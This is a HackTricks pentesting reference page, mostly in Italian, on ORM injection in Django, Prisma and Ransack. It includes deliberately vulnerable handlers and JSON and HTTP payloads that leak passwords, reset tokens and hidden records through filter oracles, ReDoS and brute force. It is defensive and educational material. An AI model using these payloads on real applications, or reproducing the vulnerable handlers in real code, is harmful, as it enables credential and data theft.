hacktricks/pentesting-web/orm-injection.md

338 lines
12 KiB
Markdown
Raw Normal View History

# ORM Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Django ORM (Python)
In [**questo post**](https://www.elttam.com/blog/plormbing-your-django-orm/) viene spiegato come sia possibile rendere vulnerabile un Django ORM utilizzando ad esempio un codice come:
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
"""
Alcuna vista API di base a cui gli utenti inviano richieste per
cercare articoli
"""
def post(self, request: Request, format=None):
try:
<strong> articles = Article.objects.filter(**request.data)
</strong> serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
</code></pre>
Nota come tutti i request.data (che sarà un json) siano direttamente passati a **filtrare oggetti dal database**. Un attaccante potrebbe inviare filtri inaspettati per cercare di leakare più dati del previsto.
Esempi:
* **Login:** In un semplice login prova a leakare le password degli utenti registrati al suo interno.
```json
{
"username": "admin",
"password_startswith":"a"
}
```
{% hint style="danger" %}
È possibile forzare la password fino a quando non viene leakata.
{% endhint %}
* **Filtraggio relazionale**: È possibile attraversare le relazioni per leakare informazioni da colonne che non ci si aspettava nemmeno fossero utilizzate nell'operazione. Ad esempio, se è possibile leakare articoli creati da un utente con queste relazioni: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__user__password__contains":"pass"
}
```
{% hint style="danger" %}
È possibile trovare la password di tutti gli utenti che hanno creato un articolo
{% endhint %}
* **Filtraggio relazionale molti-a-molti**: Nell'esempio precedente non siamo riusciti a trovare le password degli utenti che non hanno creato un articolo. Tuttavia, seguendo altre relazioni, questo è possibile. Ad esempio: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__departments__employees__user_startswith":"admi"
}
```
{% hint style="danger" %}
In questo caso possiamo trovare tutti gli utenti nei dipartimenti degli utenti che hanno creato articoli e poi leakare le loro password (nel json precedente stiamo solo leakando i nomi utente ma poi è possibile leakare le password).
{% endhint %}
* **Abusare delle relazioni many-to-many di Django Group e Permission con gli utenti**: Inoltre, il modello AbstractUser è utilizzato per generare utenti in Django e per impostazione predefinita questo modello ha alcune **relazioni many-to-many con le tabelle Permission e Group**. Che fondamentalmente è un modo predefinito per **accedere ad altri utenti da un utente** se si trovano nel **stesso gruppo o condividono la stessa autorizzazione**.
```bash
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
```
* **Bypassare le restrizioni del filtro**: Lo stesso post del blog ha proposto di bypassare l'uso di alcuni filtri come `articles = Article.objects.filter(is_secret=False, **request.data)`. È possibile estrarre articoli che hanno is\_secret=True perché possiamo tornare indietro da una relazione alla tabella Article e leakare articoli segreti da articoli non segreti poiché i risultati sono uniti e il campo is\_secret viene controllato nell'articolo non segreto mentre i dati vengono leakati dall'articolo segreto.
```bash
Article.objects.filter(is_secret=False, categories__articles__id=2)
```
{% hint style="danger" %}
Abusando delle relazioni è possibile bypassare anche i filtri destinati a proteggere i dati mostrati.
{% endhint %}
* **Error/Time based via ReDoS**: Negli esempi precedenti ci si aspettava di avere risposte diverse se il filtro funzionava o meno per usarlo come oracolo. Ma potrebbe essere possibile che venga eseguita un'azione nel database e la risposta sia sempre la stessa. In questo scenario potrebbe essere possibile provocare un errore nel database per ottenere un nuovo oracolo.
```json
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
```
From te same post regarding this vector:
* **SQLite**: Non ha un operatore regexp per impostazione predefinita (richiede il caricamento di un'estensione di terze parti)
* **PostgreSQL**: Non ha un timeout regex predefinito ed è meno soggetto a backtracking
* **MariaDB**: Non ha un timeout regex
## Prisma ORM (NodeJS)
The following are [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
* **Full find control**:
<pre class="language-javascript"><code class="lang-javascript">const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
<strong> const posts = await prisma.article.findMany(req.body.filter)
</strong> res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
It's possible to see that the whole javascript body is passed to prisma to perform queries.
In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...)
```json
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
```
```markdown
Il seguente seleziona tutti i post creati da qualcuno con una password e restituirà la password:
```
```json
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
```
* **Controllo completo della clausola where**:
Diamo un'occhiata a questo dove l'attacco può controllare la clausola `where`:
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
<strong> where: req.query.filter as any // Vulnerabile a ORM Leaks
</strong> })
res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
È possibile filtrare direttamente la password degli utenti come:
```javascript
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})
```
{% hint style="danger" %}
Utilizzando operazioni come `startsWith` è possibile leakare informazioni.&#x20;
{% endhint %}
* **Bypass del filtraggio relazionale molti-a-molti:**&#x20;
```javascript
app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});
```
È possibile leak articoli non pubblicati tornando alle relazioni molti-a-molti tra `Category` -\[\*..\*]-> `Article`:
```json
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
```
È anche possibile leak tutti gli utenti abusando di alcune relazioni many-to-many a loop back:
```json
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
```
* **Error/Timed queries**: Nel post originale puoi leggere un insieme molto esteso di test eseguiti per trovare il payload ottimale per leakare informazioni con un payload basato sul tempo. Questo è:
```json
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
```
Dove `{CONTAINS_LIST}` è un elenco con 1000 stringhe per assicurarsi che **la risposta sia ritardata quando viene trovata la corretta leak.**
## **Ransack (Ruby)**
Questi trucchi sono stati [**trovati in questo post**](https://positive.security/blog/ransack-data-exfiltration)**.**
{% hint style="success" %}
**Nota che Ransack 4.0.0.0 ora impone l'uso di un esplicito elenco di autorizzazione per gli attributi e le associazioni ricercabili.**
{% endhint %}
**Esempio vulnerabile:**
```ruby
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
```
Nota come la query sarà definita dai parametri inviati dall'attaccante. È stato possibile, ad esempio, forzare il token di reset con:
```http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
```
Forzando e potenzialmente relazioni, è stato possibile estrarre ulteriori dati da un database.
## Riferimenti
* [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
* [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
* [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}